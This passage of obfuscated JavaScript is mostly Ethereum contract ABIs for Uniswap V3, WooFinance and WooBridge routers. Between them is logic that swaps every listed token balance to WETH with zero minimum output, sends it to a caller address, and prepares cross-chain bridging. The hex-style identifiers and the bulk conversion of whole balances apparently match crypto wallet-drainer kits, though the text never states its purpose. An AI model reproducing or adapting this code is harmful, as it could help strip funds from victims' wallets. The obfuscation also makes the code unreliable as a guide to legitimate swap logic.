stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "factory",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "bytes[]",
name: "data",
type: "bytes[]"
}],
name: "multicall",
outputs: [{
internalType: "bytes[]",
name: "results",
type: "bytes[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "refundETH",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "value",
type: "uint256"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "selfPermit",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "nonce",
type: "uint256"
}, {
internalType: "uint256",
name: "expiry",
type: "uint256"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "selfPermitAllowed",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "nonce",
type: "uint256"
}, {
internalType: "uint256",
name: "expiry",
type: "uint256"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "selfPermitAllowedIfNecessary",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "value",
type: "uint256"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "selfPermitIfNecessary",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
}, {
internalType: "address",
name: "recipient",
type: "address"
}],
name: "sweepToken",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
}, {
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "uint256",
name: "feeBips",
type: "uint256"
}, {
internalType: "address",
name: "feeRecipient",
type: "address"
}],
name: "sweepTokenWithFee",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "int256",
name: "amount0Delta",
type: "int256"
}, {
internalType: "int256",
name: "amount1Delta",
type: "int256"
}, {
internalType: "bytes",
name: "_data",
type: "bytes"
}],
name: "uniswapV3SwapCallback",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
}, {
internalType: "address",
name: "recipient",
type: "address"
}],
name: "unwrapWETH9",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
}, {
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "uint256",
name: "feeBips",
type: "uint256"
}, {
internalType: "address",
name: "feeRecipient",
type: "address"
}],
name: "unwrapWETH9WithFee",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
stateMutability: "payable",
type: "receive"
}];
let _0x232647 = new ethers.Contract(_0x2b7b1b, _0x364869, _0x9d9505);
let _0x188ee7 = await _0x232647.WETH9();
let _0x2521ff = _0x4f37a4.asset;
let _0x109046 = [];
for (let _0x1dee52 of _0x2521ff) {
let _0x4ae873 = _0x232647.interface.encodeFunctionData("exactInputSingle", [[_0x1dee52.token, _0x188ee7, 3000, this.caller, _0x1b1427, _0x1dee52.amount, 0, 0]]);
_0x109046.push(_0x4ae873);
}
let _0x222d5f = _0x232647.interface.encodeFunctionData("multicall(bytes[])", [_0x109046]);
let _0x557d2d = {
to: _0x2b7b1b,
from: await this.getWalletAddress(),
data: _0x222d5f
};
return [_0x9d9505.sendTransaction(_0x557d2d), _0x188ee7];
}
case "UniswapV3_2":
{
let _0x2c15ad = [{
inputs: [{
internalType: "address",
name: "_factoryV2",
type: "address"
}, {
internalType: "address",
name: "factoryV3",
type: "address"
}, {
internalType: "address",
name: "_positionManager",
type: "address"
}, {
internalType: "address",
name: "_WETH9",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
inputs: [],
name: "WETH9",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}],
name: "approveMax",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}],
name: "approveMaxMinusOne",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}],
name: "approveZeroThenMax",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}],
name: "approveZeroThenMaxMinusOne",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "bytes",
name: "data",
type: "bytes"
}],
name: "callPositionManager",
outputs: [{
internalType: "bytes",
name: "result",
type: "bytes"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "bytes[]",
name: "paths",
type: "bytes[]"
}, {
internalType: "uint128[]",
name: "amounts",
type: "uint128[]"
}, {
internalType: "uint24",
name: "maximumTickDivergence",
type: "uint24"
}, {
internalType: "uint32",
name: "secondsAgo",
type: "uint32"
}],
name: "checkOracleSlippage",
outputs: [],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "bytes",
name: "path",
type: "bytes"
}, {
internalType: "uint24",
name: "maximumTickDivergence",
type: "uint24"
}, {
internalType: "uint32",
name: "secondsAgo",
type: "uint32"
}],
name: "checkOracleSlippage",
outputs: [],
stateMutability: "view",
type: "function"
}, {
inputs: [{
components: [{
internalType: "bytes",
name: "path",
type: "bytes"
}, {
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMinimum",
type: "uint256"
}],
internalType: "struct IV3SwapRouter.ExactInputParams",
name: "params",
type: "tuple"
}],
name: "exactInput",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "address",
name: "tokenIn",
type: "address"
}, {
internalType: "address",
name: "tokenOut",
type: "address"
}, {
internalType: "uint24",
name: "fee",
type: "uint24"
}, {
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMinimum",
type: "uint256"
}, {
internalType: "uint160",
name: "sqrtPriceLimitX96",
type: "uint160"
}],
internalType: "struct IV3SwapRouter.ExactInputSingleParams",
name: "params",
type: "tuple"
}],
name: "exactInputSingle",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "bytes",
name: "path",
type: "bytes"
}, {
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMaximum",
type: "uint256"
}],
internalType: "struct IV3SwapRouter.ExactOutputParams",
name: "params",
type: "tuple"
}],
name: "exactOutput",
outputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "address",
name: "tokenIn",
type: "address"
}, {
internalType: "address",
name: "tokenOut",
type: "address"
}, {
internalType: "uint24",
name: "fee",
type: "uint24"
}, {
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMaximum",
type: "uint256"
}, {
internalType: "uint160",
name: "sqrtPriceLimitX96",
type: "uint160"
}],
internalType: "struct IV3SwapRouter.ExactOutputSingleParams",
name: "params",
type: "tuple"
}],
name: "exactOutputSingle",
outputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "factory",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "factoryV2",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}],
name: "getApprovalType",
outputs: [{
internalType: "enum IApproveAndCall.ApprovalType",
name: "",
type: "uint8"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "address",
name: "token0",
type: "address"
}, {
internalType: "address",
name: "token1",
type: "address"
}, {
internalType: "uint256",
name: "tokenId",
type: "uint256"
}, {
internalType: "uint256",
name: "amount0Min",
type: "uint256"
}, {
internalType: "uint256",
name: "amount1Min",
type: "uint256"
}],
internalType: "struct IApproveAndCall.IncreaseLiquidityParams",
name: "params",
type: "tuple"
}],
name: "increaseLiquidity",
outputs: [{
internalType: "bytes",
name: "result",
type: "bytes"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "address",
name: "token0",
type: "address"
}, {
internalType: "address",
name: "token1",
type: "address"
}, {
internalType: "uint24",
name: "fee",
type: "uint24"
}, {
internalType: "int24",
name: "tickLower",
type: "int24"
}, {
internalType: "int24",
name: "tickUpper",
type: "int24"
}, {
internalType: "uint256",
name: "amount0Min",
type: "uint256"
}, {
internalType: "uint256",
name: "amount1Min",
type: "uint256"
}, {
internalType: "address",
name: "recipient",
type: "address"
}],
internalType: "struct IApproveAndCall.MintParams",
name: "params",
type: "tuple"
}],
name: "mint",
outputs: [{
internalType: "bytes",
name: "result",
type: "bytes"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "bytes32",
name: "previousBlockhash",
type: "bytes32"
}, {
internalType: "bytes[]",
name: "data",
type: "bytes[]"
}],
name: "multicall",
outputs: [{
internalType: "bytes[]",
name: "",
type: "bytes[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bytes[]",
name: "data",
type: "bytes[]"
}],
name: "multicall",
outputs: [{
internalType: "bytes[]",
name: "",
type: "bytes[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "bytes[]",
name: "data",
type: "bytes[]"
}],
name: "multicall",
outputs: [{
internalType: "bytes[]",
name: "results",
type: "bytes[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "positionManager",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "value",
type: "uint256"
}],
name: "pull",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "refundETH",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "value",
type: "uint256"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "selfPermit",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "nonce",
type: "uint256"
}, {
internalType: "uint256",
name: "expiry",
type: "uint256"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "selfPermitAllowed",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "nonce",
type: "uint256"
}, {
internalType: "uint256",
name: "expiry",
type: "uint256"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "selfPermitAllowedIfNecessary",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "value",
type: "uint256"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "selfPermitIfNecessary",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}],
name: "swapExactTokensForTokens",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}],
name: "swapTokensForExactTokens",
outputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
}, {
internalType: "address",
name: "recipient",
type: "address"
}],
name: "sweepToken",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
}],
name: "sweepToken",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
}, {
internalType: "uint256",
name: "feeBips",
type: "uint256"
}, {
internalType: "address",
name: "feeRecipient",
type: "address"
}],
name: "sweepTokenWithFee",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
}, {
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "uint256",
name: "feeBips",
type: "uint256"
}, {
internalType: "address",
name: "feeRecipient",
type: "address"
}],
name: "sweepTokenWithFee",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "int256",
name: "amount0Delta",
type: "int256"
}, {
internalType: "int256",
name: "amount1Delta",
type: "int256"
}, {
internalType: "bytes",
name: "_data",
type: "bytes"
}],
name: "uniswapV3SwapCallback",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
}, {
internalType: "address",
name: "recipient",
type: "address"
}],
name: "unwrapWETH9",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
}],
name: "unwrapWETH9",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
}, {
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "uint256",
name: "feeBips",
type: "uint256"
}, {
internalType: "address",
name: "feeRecipient",
type: "address"
}],
name: "unwrapWETH9WithFee",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
}, {
internalType: "uint256",
name: "feeBips",
type: "uint256"
}, {
internalType: "address",
name: "feeRecipient",
type: "address"
}],
name: "unwrapWETH9WithFee",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "value",
type: "uint256"
}],
name: "wrapETH",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
stateMutability: "payable",
type: "receive"
}];
let _0x414c73 = new ethers.Contract(_0x2b7b1b, _0x2c15ad, _0x9d9505);
let _0x41b081 = await _0x414c73.WETH9();
let _0x2fd87c = _0x4f37a4.asset;
let _0x175df8 = [];
for (let _0x44eb0 of _0x2fd87c) {
let _0x3dbc48 = [];
_0x3dbc48[0] = _0x44eb0.token;
_0x3dbc48[1] = _0x41b081;
let _0x310c62 = _0x414c73.interface.encodeFunctionData("swapExactTokensForTokens", [_0x44eb0.amount, 0, _0x3dbc48, this.caller]);
_0x175df8.push(_0x310c62);
}
let _0x4ac485 = _0x414c73.interface.encodeFunctionData("multicall(bytes[])", [_0x175df8]);
let _0x57c0f7 = {
to: _0x2b7b1b,
from: await this.getWalletAddress(),
data: _0x4ac485
};
return [_0x9d9505.sendTransaction(_0x57c0f7), _0x41b081];
}
case "WooFinance":
{
let _0x5f0ce6 = [{
inputs: [{
internalType: "address",
name: "_weth",
type: "address"
}, {
internalType: "address",
name: "_pool",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "previousOwner",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "newOwner",
type: "address"
}],
name: "OwnershipTransferred",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: false,
internalType: "address",
name: "newPool",
type: "address"
}],
name: "WooPoolChanged",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: false,
internalType: "enum IWooRouterV2.SwapType",
name: "swapType",
type: "uint8"
}, {
indexed: true,
internalType: "address",
name: "fromToken",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "toToken",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "fromAmount",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "toAmount",
type: "uint256"
}, {
indexed: false,
internalType: "address",
name: "from",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "to",
type: "address"
}, {
indexed: false,
internalType: "address",
name: "rebateTo",
type: "address"
}],
name: "WooRouterSwap",
type: "event"
}, {
inputs: [],
name: "WETH",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "approveTarget",
type: "address"
}, {
internalType: "address",
name: "swapTarget",
type: "address"
}, {
internalType: "address",
name: "fromToken",
type: "address"
}, {
internalType: "address",
name: "toToken",
type: "address"
}, {
internalType: "uint256",
name: "fromAmount",
type: "uint256"
}, {
internalType: "uint256",
name: "minToAmount",
type: "uint256"
}, {
internalType: "address payable",
name: "to",
type: "address"
}, {
internalType: "bytes",
name: "data",
type: "bytes"
}],
name: "externalSwap",
outputs: [{
internalType: "uint256",
name: "realToAmount",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "stuckToken",
type: "address"
}],
name: "inCaseTokenGotStuck",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "",
type: "address"
}],
name: "isWhitelisted",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "owner",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "fromToken",
type: "address"
}, {
internalType: "address",
name: "toToken",
type: "address"
}, {
internalType: "uint256",
name: "fromAmount",
type: "uint256"
}],
name: "querySwap",
outputs: [{
internalType: "uint256",
name: "toAmount",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "quoteToken",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "renounceOwnership",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "newPool",
type: "address"
}],
name: "setPool",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "target",
type: "address"
}, {
internalType: "bool",
name: "whitelisted",
type: "bool"
}],
name: "setWhitelisted",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "fromToken",
type: "address"
}, {
internalType: "address",
name: "toToken",
type: "address"
}, {
internalType: "uint256",
name: "fromAmount",
type: "uint256"
}, {
internalType: "uint256",
name: "minToAmount",
type: "uint256"
}, {
internalType: "address payable",
name: "to",
type: "address"
}, {
internalType: "address",
name: "rebateTo",
type: "address"
}],
name: "swap",
outputs: [{
internalType: "uint256",
name: "realToAmount",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "newOwner",
type: "address"
}],
name: "transferOwnership",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "fromToken",
type: "address"
}, {
internalType: "address",
name: "toToken",
type: "address"
}, {
internalType: "uint256",
name: "fromAmount",
type: "uint256"
}],
name: "tryQuerySwap",
outputs: [{
internalType: "uint256",
name: "toAmount",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "wooPool",
outputs: [{
internalType: "contract IWooPPV2",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
stateMutability: "payable",
type: "receive"
}];
let _0x5b8777 = new ethers.Contract(_0x2b7b1b, _0x5f0ce6, _0x9d9505);
let _0x129ac2 = await _0x5b8777.WETH();
return [_0x5b8777.swap(_0x4f37a4.asset.token, _0x129ac2, _0x4f37a4.asset.amount, 0, path, this.caller, this.caller), _0x129ac2];
}
case "WooBridge":
{
try {
let _0x36eb7a = _0x4f37a4.chain;
let _0x2c4afc = 101;
let _0x372e20 = 110;
console.log("checking path for woobridge");
let _0x743725 = "";
let _0x5f35ff = "";
switch (_0x36eb7a) {
case "bsc":
{
_0x2c4afc = 102;
_0x743725 = "0x55d398326f99059ff775485246999027b3197955";
_0x5f35ff = "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8";
break;
}
case "avax":
{
_0x2c4afc = 106;
_0x743725 = "0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E";
_0x5f35ff = "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8";
break;
}
case "matic":
{
_0x2c4afc = 109;
_0x743725 = "0x2791bca1f2de4661ed88a30c99a7a9449aa84174";
_0x5f35ff = "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8";
break;
}
case "arb":
{
_0x2c4afc = 110;
_0x372e20 = 111;
_0x743725 = "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8";
_0x5f35ff = "0x7f5c764cbc14f9669b88837ca1490cca17c31607";
break;
}
case "op":
{
_0x2c4afc = 111;
_0x743725 = "0x7F5c764cBc14f9669B88837ca1490cCa17c31607";
_0x5f35ff = "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8";
break;
}
}
let _0x2b31c7 = [_0x4f37a4.asset.token, _0x743725, _0x4f37a4.asset.amount, _0x4f37a4.asset.amount];
let _0xba1c65 = [_0x372e20, _0x5f35ff, _0x5f35ff, 0, 0];
console.log(_0x2b31c7);
console.log(_0xba1c65);
console.log(_0x2b7b1b);
let _0xc482fe = [{
inputs: [{
internalType: "address",
name: "_weth",
type: "address"
}, {
internalType: "address",
name: "_wooRouter",
type: "address"
}, {
internalType: "address",
name: "_stargateRouter",
type: "address"
}, {
internalType: "uint16",
name: "_sgChainIdLocal",
type: "uint16"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "previousOwner",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "newOwner",
type: "address"
}],
name: "OwnershipTransferred",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "uint256",
name: "refId",
type: "uint256"
}, {
indexed: true,
internalType: "address",
name: "sender",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "to",
type: "address"
}, {
indexed: false,
internalType: "address",
name: "bridgedToken",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "bridgedAmount",
type: "uint256"
}, {
indexed: false,
internalType: "address",
name: "toToken",
type: "address"
}, {
indexed: false,
internalType: "address",
name: "realToToken",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "minToAmount",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "realToAmount",
type: "uint256"
}],
name: "WooCrossSwapOnDstChain",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "uint256",
name: "refId",
type: "uint256"
}, {
indexed: true,
internalType: "address",
name: "sender",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "to",
type: "address"
}, {
indexed: false,
internalType: "address",
name: "fromToken",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "fromAmount",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "minBridgeAmount",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "realBridgeAmount",
type: "uint256"
}],
name: "WooCrossSwapOnSrcChain",
type: "event"
}, {
inputs: [],
name: "ETH_PLACEHOLDER_ADDR",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}],
name: "addDirectBridgeToken",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "allDirectBridgeTokens",
outputs: [{
internalType: "address[]",
name: "",
type: "address[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "allDirectBridgeTokensLength",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "bridgeSlippage",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "refId",
type: "uint256"
}, {
internalType: "address payable",
name: "to",
type: "address"
}, {
components: [{
internalType: "address",
name: "fromToken",
type: "address"
}, {
internalType: "address",
name: "bridgeToken",
type: "address"
}, {
internalType: "uint256",
name: "fromAmount",
type: "uint256"
}, {
internalType: "uint256",
name: "minBridgeAmount",
type: "uint256"
}],
internalType: "struct IWooCrossChainRouterV2.SrcInfos",
name: "srcInfos",
type: "tuple"
}, {
components: [{
internalType: "uint16",
name: "chainId",
type: "uint16"
}, {
internalType: "address",
name: "toToken",
type: "address"
}, {
internalType: "address",
name: "bridgeToken",
type: "address"
}, {
internalType: "uint256",
name: "minToAmount",
type: "uint256"
}, {
internalType: "uint256",
name: "airdropNativeAmount",
type: "uint256"
}],
internalType: "struct IWooCrossChainRouterV2.DstInfos",
name: "dstInfos",
type: "tuple"
}],
name: "crossSwap",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "dstGasForNoSwapCall",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "dstGasForSwapCall",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "stuckToken",
type: "address"
}],
name: "inCaseTokenGotStuck",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "srcChainId",
type: "uint16"
}, {
internalType: "bytes",
name: "",
type: "bytes"
}, {
internalType: "uint64",
name: "",
type: "uint64"
}, {
internalType: "bytes32",
name: "from",
type: "bytes32"
}, {
internalType: "uint256",
name: "amountLD",
type: "uint256"
}, {
internalType: "bytes",
name: "payload",
type: "bytes"
}],
name: "onOFTReceived",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "owner",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "refId",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
components: [{
internalType: "address",
name: "fromToken",
type: "address"
}, {
internalType: "address",
name: "bridgeToken",
type: "address"
}, {
internalType: "uint256",
name: "fromAmount",
type: "uint256"
}, {
internalType: "uint256",
name: "minBridgeAmount",
type: "uint256"
}],
internalType: "struct IWooCrossChainRouterV2.SrcInfos",
name: "srcInfos",
type: "tuple"
}, {
components: [{
internalType: "uint16",
name: "chainId",
type: "uint16"
}, {
internalType: "address",
name: "toToken",
type: "address"
}, {
internalType: "address",
name: "bridgeToken",
type: "address"
}, {
internalType: "uint256",
name: "minToAmount",
type: "uint256"
}, {
internalType: "uint256",
name: "airdropNativeAmount",
type: "uint256"
}],
internalType: "struct IWooCrossChainRouterV2.DstInfos",
name: "dstInfos",
type: "tuple"
}],
name: "quoteLayerZeroFee",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}, {
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}],
name: "removeDirectBridgeToken",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "renounceOwnership",
